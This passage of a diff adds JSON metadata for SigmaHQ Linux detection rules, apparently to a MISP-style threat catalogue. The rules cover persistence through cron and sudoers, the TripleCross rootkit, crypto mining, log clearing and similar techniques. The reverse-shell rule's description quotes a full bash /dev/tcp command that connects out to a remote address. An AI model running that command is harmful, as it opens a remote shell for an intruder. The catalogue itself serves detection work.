"logsource.product": "linux" + } + }, + { + "description": "Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd", + "uuid": "c67fc22a-0be5-4b4f-aad5-2b32c4b69523", + "value": "Symlink Etc Passwd", + "meta": { + "refs": [ + "https://www.qualys.com/2021/05/04/21nails/21nails.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/builtin/lnx_symlink_etc_passwd.yml" + ], + "tags": [ + "attack.t1204.001", + "attack.execution" + ], + "creation_date": "2019/04/05", + "filename": "lnx_symlink_etc_passwd.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of doas.conf file in linux host platform.", + "uuid": "00eee2a5-fdb0-4746-a21d-e43fbdea5681", + "value": "Linux Doas Conf File Creation", + "meta": { + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_conf_file_creation/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_doas_conf_creation.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/01/20", + "filename": "file_create_lnx_doas_conf_creation.yml", + "author": "Sittikorn S, Teoderick Contreras", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", + "uuid": "6c4e2f43-d94d-4ead-b64d-97e53fa2bd05", + "value": "Persistence Via Cron Files", + "meta": { + "refs": [ + "https://github.com/microsoft/MSTIC-Sysmon/blob/f1477c0512b0747c1455283069c21faec758e29d/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_cron_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2021/10/15", + "filename": "file_create_lnx_persistence_cron_files.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "medium", + "falsepositive": [ + "Any legitimate cron file." + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", + "uuid": "ddb26b76-4447-4807-871f-1b035b2bfa5d", + "value": "Persistence Via Sudoers Files", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_persistence_sudoers_files.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.003" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_persistence_sudoers_files.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Creation of legitimate files in sudoers.d folder part of administrator work" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", + "uuid": "c0239255-822c-4630-b7f1-35362bcb8f44", + "value": "Triple Cross eBPF Rootkit Default LockFile", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/1f1c3e0958af8ad9f6ebe10ab442e75de33e91de/src/helpers/execve_hijack.c#L33", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_lock_file.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_triple_cross_rootkit_lock_file.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of \"ebpfbackdoor\" files in both \"cron.d\" and \"sudoers.d\" directories. Which both are related to the TripleCross persistence method", + "uuid": "1a2ea919-d11d-4d1e-8535-06cda13be20f", + "value": "Triple Cross eBPF Rootkit Default Persistence", + "meta": { + "refs": [ + "https://github.com/h3xduck/TripleCross/blob/12629558b8b0a27a5488a0b98f1ea7042e76f8ab/apps/deployer.sh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/file_create/file_create_lnx_triple_cross_rootkit_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1053.003" + ], + "creation_date": "2022/07/05", + "filename": "file_create_lnx_triple_cross_rootkit_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "file_create", + "logsource.product": "linux" + } + }, + { + "description": "Detects multiple blocks by the mod_security module (Web Application Firewall)", + "uuid": "a06eea10-d932-4aa6-8ba9-186df72c8d23", + "value": "Multiple Modsecurity Blocks", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/modsecurity/modsec_mulitple_blocks.yml" + ], + "tags": [ + "attack.impact", + "attack.t1499" + ], + "creation_date": "2017/02/28", + "filename": "modsec_mulitple_blocks.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Vulnerability scanners", + "Frequent attacks if system faces Internet" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')", + "uuid": "83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871", + "value": "Linux Reverse Shell Indicator", + "meta": { + "refs": [ + "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/16", + "filename": "net_connection_lnx_back_connect_shell_dev.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "uuid": "a46c93b7-55ed-4d27-a41b-c259456c4746", + "value": "Linux Crypto Mining Pool Connections", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_crypto_mining_indicators.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/26", + "filename": "net_connection_lnx_crypto_mining_indicators.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "19bf6fdb-7721-4f3d-867f-53467f6a5db6", + "value": "Communication To Ngrok Tunneling Service - Linux", + "meta": { + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/network_connection/net_connection_lnx_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ], + "creation_date": "2022/11/03", + "filename": "net_connection_lnx_ngrok_tunnel.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "logsource.category": "network_connection", + "logsource.product": "linux" + } + }, + { + "description": "Detects relevant ClamAV messages", + "uuid": "36aa86ca-fd9d-4456-814e-d3b1b8e1e0bb", + "value": "Relevant ClamAV Message", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/clam_av_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_clamav.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.001" + ], + "creation_date": "2017/03/01", + "filename": "lnx_clamav.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "49f5dfc1-f92e-4d34-96fa-feba3f6acf36", + "value": "Disabling Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_security_tools_disabling_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2020/06/17", + "filename": "lnx_security_tools_disabling_syslog.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt using public exploit code for CVE-2018-15473", + "uuid": "4c9d903d-4939-4094-ade0-3cb748f4d7da", + "value": "SSHD Error Message CVE-2018-15473", + "meta": { + "refs": [ + "https://github.com/Rhynorater/CVE-2018-15473-Exploit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_ssh_cve_2018_15473.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1589" + ], + "creation_date": "2017/08/24", + "filename": "lnx_ssh_cve_2018_15473.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious failed logins with different user accounts from a single source system", + "uuid": "fc947f8e-ea81-4b14-9a7b-13f888f94e18", + "value": "Failed Logins with Different Accounts from Single Source System", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_failed_logons_single_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2017/02/16", + "filename": "lnx_susp_failed_logons_single_source.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Terminal servers", + "Jump servers", + "Workstations with frequently changing users" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious session with two users present", + "uuid": "1edd77db-0669-4fef-9598-165bda82826d", + "value": "Guacamole Two Users Sharing Session Anomaly", + "meta": { + "refs": [ + "https://research.checkpoint.com/2020/apache-guacamole-rce/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_guacamole.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2020/07/03", + "filename": "lnx_susp_guacamole.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "c8e35e96-19ce-4f16-aeb6-fd5588dc5365", + "value": "Suspicious Named Error", + "meta": { + "refs": [ + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/named_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_named.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2018/02/20", + "filename": "lnx_susp_named.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious SSH / SSHD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "e76b413a-83d0-4b94-8e4c-85db4a5b8bdc", + "value": "Suspicious OpenSSH Daemon Error", + "meta": { + "refs": [ + "https://github.com/openssh/openssh-portable/blob/c483a5c0fb8e8b8915fad85c5f6113386a4341ca/ssherr.c", + "https://github.com/ossec/ossec-hids/blob/1ecffb1b884607cb12e619f9ab3c04f530801083/etc/rules/sshd_rules.xml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_ssh.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/06/30", + "filename": "lnx_susp_ssh.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious VSFTPD error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", + "uuid": "377f33a1-4b36-4ee1-acee-1dbe4b43cfbe", + "value": "Suspicious VSFTPD Error Messages", + "meta": { + "refs": [ + "https://github.com/dagwieers/vsftpd/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/other/lnx_susp_vsftp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/07/05", + "filename": "lnx_susp_vsftp.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the use of at/atd which are utilities that are used to schedule tasks.\nThey are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code\n", + "uuid": "d2d642d7-b393-43fe-bae4-e81ed5915c4b", + "value": "Scheduled Task/Job At", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_at_command.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053.002" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_lnx_at_command.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", + "uuid": "e2072cab-8c9a-459b-b63c-40ae79e27031", + "value": "Decode Base64 Encoded Text", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_base64_decode.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", + "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", + "value": "Linux Base64 Encoded Pipe to Shell", + "meta": { + "refs": [ + "https://github.com/arget13/DDexec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/07/26", + "filename": "proc_creation_lnx_base64_execution.yml", + "author": "pH-T", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", + "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", + "value": "Linux Base64 Encoded Shebang In CLI", + "meta": { + "refs": [ + "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", + "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_base64_shebang_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the usage of the unsafe bpftrace option", + "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", + "value": "BPFtrace Unsafe Option Usage", + "meta": { + "refs": [ + "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", + "https://bpftrace.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the unsafe option" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", + "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", + "value": "Cat Sudoers", + "meta": { + "refs": [ + "https://github.com/sleventyeleven/linuxprivchecker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" + ], + "tags": [ + "attack.reconnaissance", + "attack.t1592.004" + ], + "creation_date": "2022/06/20", + "filename": "proc_creation_lnx_cat_sudoers.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", + "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", + "value": "Remove Immutable File Attribute", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_chattr_immutable_removal.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", + "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", + "value": "Clear Linux Logs", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_lnx_clear_logs.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", + "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", + "value": "Commands to Clear or Remove the Syslog", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.002" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_clear_syslog.yml", + "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "high", + "falsepositive": [ + "Log rotation." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", + "value": "Clipboard Collection with Xclip Tool", + "meta": { + "refs": [ + "https://www.packetlabs.net/posts/clipboard-data-security/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_clipboard_collection.yml", + "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", + "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", + "value": "Remove Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_crontab_removal.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects command line parameters or strings often used by crypto miners", + "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", + "value": "Linux Crypto Mining Indicators", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" + ], + "tags": "No established tags", + "creation_date": "2021/10/26", + "filename": "proc_creation_lnx_crypto_mining.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", + "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", + "value": "Curl Usage on Linux", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_lnx_curl_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", + "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", + "value": "Atlassian Confluence CVE-2022-26134", + "meta": { + "refs": [ + "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" + ], + "tags": [ + "attack.initial_access", + "attack.execution", + "attack.t1190", + "attack.t1059", + "cve.2022.26134" + ], + "creation_date": "2022/06/03", + "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", + "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", + "value": "Apache Spark Shell Command Injection - ProcessCreation", + "meta": { + "refs": [ + "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", + "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", + "https://github.com/apache/spark/pull/36315/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "cve.2022.33891" + ], + "creation_date": "2022/07/20", + "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects potential overwriting and deletion of a file using DD.", + "uuid": "2953194b-e33c-4859-b9e8-05948c167447", + "value": "DD File Overwrite", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/10/15", + "filename": "proc_creation_lnx_dd_file_overwrite.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", + "level": "low", + "falsepositive": [ + "Any user deleting files that way." + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", + "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", + "value": "Linux Doas Tool Execution", + "meta": { + "refs": [ + "https://research.splunk.com/endpoint/linux_doas_tool_execution/", + "https://www.makeuseof.com/how-to-install-and-use-doas/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2022/01/20", + "filename": "proc_creation_lnx_doas_execution.yml", + "author": "Sittikorn S, Teoderick Contreras", + "level": "low", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", + "value": "File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_lnx_file_and_directory_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", + "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", + "value": "File Deletion", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2020/10/07", + "filename": "proc_creation_lnx_file_deletion.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", + "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", + "value": "Install Root Certificate", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_lnx_install_root_certificate.yml", + "author": "\u00d6mer G\u00fcnal, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "linux" + } + }, + { + "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", + "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", + "value": "Local System Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2020/10/08", + "filename": 